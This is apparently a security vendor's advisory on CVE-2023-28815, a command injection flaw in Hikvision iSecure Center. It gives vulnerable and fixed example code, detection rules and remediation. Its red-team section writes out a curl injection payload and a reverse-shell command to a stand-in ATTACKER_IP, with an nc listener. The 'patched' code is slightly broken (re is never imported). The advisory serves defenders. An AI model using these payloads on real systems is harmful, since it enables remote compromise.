CVE-2023-28815

Executive Summary

CVE-2023-28815 is a critical command injection vulnerability in Hikvision’s iSecure Center software, a platform designed exclusively for the Chinese domestic market. The flaw stems from insufficient parameter validation, allowing an unauthenticated attacker to inject arbitrary operating system commands. With a CVSS score of 9.8, successful exploitation grants full platform privileges, enabling complete system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not issued a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the severity demands immediate attention.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a proprietary software product from Hikvision, distributed as a compiled binary for Windows/Linux servers.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a prime target for ransomware groups and APT actors. The lack of a patch increases the risk of zero-day exploitation.

Deep Dive & Mechanics

The iSecure Center software exposes web-based management interfaces that accept user-supplied parameters without proper sanitization. The command injection occurs when these parameters are passed to system-level functions (e.g., system(), exec(), or popen()). An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Root Cause:
The application fails to validate or escape input before using it in OS command construction. For example, a parameter like ip=127.0.0.1 might be used in a ping command:
ping -c 4 127.0.0.1
If the attacker sends ip=127.0.0.1; whoami, the command becomes:
ping -c 4 127.0.0.1; whoami
This executes whoami after the ping.

Attack Surface:

• Web management console (HTTP/HTTPS)
• API endpoints for device configuration
• Logging and diagnostic features

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from similar Hikvision vulnerabilities.

Vulnerable Code (Python/Flask example):

@app.route('/ping', methods=['POST'])
def ping_host():
    ip = request.form['ip']
    result = os.popen(f'ping -c 4 {ip}').read()
    return result

Patched Code (hypothetical):

import subprocess
import shlex

@app.route('/ping', methods=['POST'])
def ping_host():
    ip = request.form['ip']
    # Validate IP address format
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
        return "Invalid IP", 400
    # Use subprocess with list to avoid shell injection
    result = subprocess.run(['ping', '-c', '4', ip], capture_output=True, text=True)
    return result.stdout

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Hikvision iSecure Center (version unknown)
• Network access to the web interface (default ports 80/443)

Exploitation Steps:

1. Identify the login or diagnostic endpoint (e.g., /api/v1/ping).
2. Inject commands via a vulnerable parameter:

   curl -X POST "https://target/api/v1/ping" -d "ip=127.0.0.1; whoami"
   

3. If successful, escalate to a reverse shell:

   curl -X POST "https://target/api/v1/ping" -d "ip=127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
   

4. Use nc -lvnp 4444 on attacker machine to receive shell.

Note: No public exploit code exists; this is a theoretical approach based on the vulnerability description.

Blue Team

Detection:

• Monitor for unusual HTTP POST requests to diagnostic endpoints.
• Look for shell metacharacters (;, |, &, `) in request parameters.
• Alert on outbound connections from the iSecure Center server to unknown IPs on high ports (e.g., 4444).

Honeypot:
Deploy a fake iSecure Center instance and log all POST data for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests containing ;, |, &, or backticks in parameters.
  • Outbound connections from the iSecure Center server to suspicious IPs on ports 4444, 1337, or 8080.

• File IOCs:

  • Unexpected files in /tmp/ or C:\Windows\Temp\ (e.g., exploit.sh, payload.exe).
  • Modified system binaries (e.g., ping, whoami).

• Process IOCs:

  • Spawned shells (cmd.exe, /bin/sh, /bin/bash) from the iSecure Center process.
  • Network connections initiated by the iSecure Center process to external IPs.

Detection Engineering

YARA Rule

rule CVE_2023_28815_CommandInjection {
    meta:
        description = "Detects command injection attempts against Hikvision iSecure Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-28815"
    strings:
        $cmd1 = /[;&|`]\s*(whoami|id|cat|nc|bash|sh|cmd|powershell)/i
        $cmd2 = /(ping|tracert|nslookup)\s+.*[;&|`]/i
        $cmd3 = /ip=.*[;&|`]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-28815 Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts against Hikvision iSecure Center
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
        cs-uri-query|re: '(whoami|id|cat|nc|bash|sh|cmd|powershell)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-28815 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/ping"; http_uri;
    pcre:"/[;&|`]\s*(whoami|id|cat|nc|bash|sh|cmd|powershell)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-28815;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the iSecure Center server from the internet and untrusted networks.
2. Apply strict firewall rules to allow only trusted IPs to access the web interface.
3. Disable unnecessary diagnostic endpoints (e.g., ping, traceroute).

Long-Term Fix:

• Since no patch exists, consider migrating to an alternative VMS platform.
• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
• Conduct a full security audit of the iSecure Center deployment.

Workaround:

• Modify the application configuration to disable shell command execution if possible.
• Use input validation at the reverse proxy level (e.g., Nginx $args filtering).

Valters IT
Securing Digital Frontiers